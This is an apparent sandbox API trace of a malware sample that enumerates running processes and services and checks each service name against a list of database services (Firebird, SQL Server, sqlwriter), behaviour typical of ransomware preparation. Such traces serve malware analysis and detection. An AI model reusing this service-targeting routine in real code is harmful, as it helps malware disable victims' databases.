(lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0155.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0155.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0155.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0155.594] lstrlenW (lpString="SystemEventsBroker") returned 18 [0155.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0155.594] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0155.594] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0155.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0155.594] lstrlenW (lpString="Themes") returned 6 [0155.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0155.594] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0155.594] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0155.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0155.594] lstrlenW (lpString="tiledatamodelsvc") returned 16 [0155.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="tiledatamodelsvc") returned -1 [0155.594] lstrcmpiW (lpString1="sqlwriter", lpString2="tiledatamodelsvc") returned -1 [0155.594] lstrcmpiW (lpString1="mssqlserver", lpString2="tiledatamodelsvc") returned -1 [0155.594] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="tiledatamodelsvc") returned -1 [0155.594] lstrlenW (lpString="TimeBrokerSvc") returned 13 [0155.594] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0155.594] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TimeBrokerSvc") returned -1 [0155.595] lstrcmpiW (lpString1="sqlwriter", lpString2="TimeBrokerSvc") returned -1 [0155.595] lstrcmpiW (lpString1="mssqlserver", lpString2="TimeBrokerSvc") returned -1 [0155.595] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x47d5d8 | out: hHeap=0x420000) returned 1 [0155.595] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x2a0 [0155.600] Process32FirstW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0155.600] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6e, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0155.601] lstrlenW (lpString="System") returned 6 [0155.601] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0155.601] lstrlenW (lpString="smss.exe") returned 8 [0155.601] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.602] lstrlenW (lpString="csrss.exe") returned 9 [0155.602] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0155.602] lstrlenW (lpString="wininit.exe") returned 11 [0155.602] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0155.603] lstrlenW (lpString="csrss.exe") returned 9 [0155.603] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0155.603] lstrlenW (lpString="winlogon.exe") returned 12 [0155.603] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x240, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0155.603] lstrlenW (lpString="services.exe") returned 12 [0155.603] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1dc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0155.604] lstrlenW (lpString="lsass.exe") returned 9 [0155.604] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x29c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x224, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.604] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.604] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0155.605] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0155.605] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.605] lstrlenW (lpString="svchost.exe") returned 11 [0155.605] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x308, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.606] lstrlenW (lpString="svchost.exe") returned 11 [0155.606] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x224, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0155.606] lstrlenW (lpString="dwm.exe") returned 7 [0155.606] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x45, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.606] lstrlenW (lpString="svchost.exe") returned 11 [0155.606] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.607] lstrlenW (lpString="svchost.exe") returned 11 [0155.607] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.607] lstrlenW (lpString="svchost.exe") returned 11 [0155.607] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.608] lstrlenW (lpString="svchost.exe") returned 11 [0155.608] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x15c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.608] lstrlenW (lpString="svchost.exe") returned 11 [0155.608] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x440, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.608] lstrlenW (lpString="svchost.exe") returned 11 [0155.608] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.609] lstrlenW (lpString="svchost.exe") returned 11 [0155.609] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x508, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.609] lstrlenW (lpString="svchost.exe") returned 11 [0155.609] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.610] lstrlenW (lpString="svchost.exe") returned 11 [0155.610] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.610] lstrlenW (lpString="svchost.exe") returned 11 [0155.610] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0155.611] lstrlenW (lpString="spoolsv.exe") returned 11 [0155.611] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x690, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.611] lstrlenW (lpString="svchost.exe") returned 11 [0155.611] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0155.611] lstrlenW (lpString="audiodg.exe") returned 11 [0155.611] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0155.612] lstrlenW (lpString="sihost.exe") returned 10 [0155.612] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x70c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0155.612] lstrlenW (lpString="svchost.exe") returned 11 [0155.612] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0155.613] lstrlenW (lpString="taskhostw.exe") returned 13 [0155.613] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0155.613] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0155.613] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x240, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0155.614] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0155.614] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0155.614] lstrlenW (lpString="Memory Compression") returned 18 [0155.614] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4a, th32ParentProcessID=0x98c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0155.614] lstrlenW (lpString="explorer.exe") returned 12 [0155.614] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0155.615] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0155.615] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0155.616] lstrlenW (lpString="SearchUI.exe") returned 12 [0155.616] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0155.616] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0155.616] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0155.616] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0155.616] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x2dc, pcPriClassBase=8, dwFlags=0x0, szExeFile="mobsync.exe")) returned 1 [0155.617] lstrlenW (lpString="mobsync.exe") returned 11 [0155.617] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x9a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe")) returned 1 [0155.617] lstrlenW (lpString="dttcodexgigas.96456d2195a94283890a2a856e33651b4f6e40d3.exe") returned 58 [0155.617] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdb0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0155.618] lstrlenW (lpString="cmd.exe") returned 7 [0155.618] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0155.618] lstrlenW (lpString="conhost.exe") returned 11 [0155.618] Process32NextW (in: hSnapshot=0x2a0, lppe=0x251fd2c | out: lppe=0x251fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xdbc, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 0 [0155.619] CloseHandle (hObject=0x2a0) returned 1 [0155.619] Sleep (dwMilliseconds=0x1f4) [0156.816] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x45f148 [0156.816] EnumServicesStatusExW (in: hSCManager=0x45f148, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 0 [0156.817] GetLastError () returned 0xea [0156.817] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1ae2) returned 0x4de3d8 [0156.817] EnumServicesStatusExW (in: hSCManager=0x45f148, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4de3d8, cbBufSize=0x1ae2, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4de3d8, pcbBytesNeeded=0x251ff3c, lpServicesReturned=0x251ff54, lpResumeHandle=0x0) returned 1 [0156.817] CloseServiceHandle (hSCObject=0x45f148) returned 1 [0156.818] lstrlenW (lpString="AppXSvc") returned 7 [0156.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0156.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0156.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0156.818] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0156.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0156.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0156.818] lstrlenW (lpString="Audiosrv") returned 8 [0156.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0156.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0156.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0156.818] lstrlenW (lpString="BFE") returned 3 [0156.818] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0156.818] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0156.818] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0156.818] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0156.818] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0156.819] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0156.819] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0156.819] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0156.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0156.819] lstrlenW (lpString="CDPSvc") returned 6 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0156.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0156.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0156.819] lstrlenW (lpString="ClickToRunSvc") returned 13 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0156.819] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0156.819] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0156.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0156.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0156.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0156.819] lstrlenW (lpString="CryptSvc") returned 8 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0156.819] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0156.819] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0156.819] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0156.819] lstrlenW (lpString="DcomLaunch") returned 10 [0156.819] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0156.820] lstrlenW (lpString="DeviceAssociationService") returned 24 [0156.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0156.820] lstrlenW (lpString="Dhcp") returned 4 [0156.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0156.820] lstrlenW (lpString="Dnscache") returned 8 [0156.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0156.820] lstrlenW (lpString="DPS") returned 3 [0156.820] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0156.820] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0156.820] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0156.820] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0156.820] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0156.820] 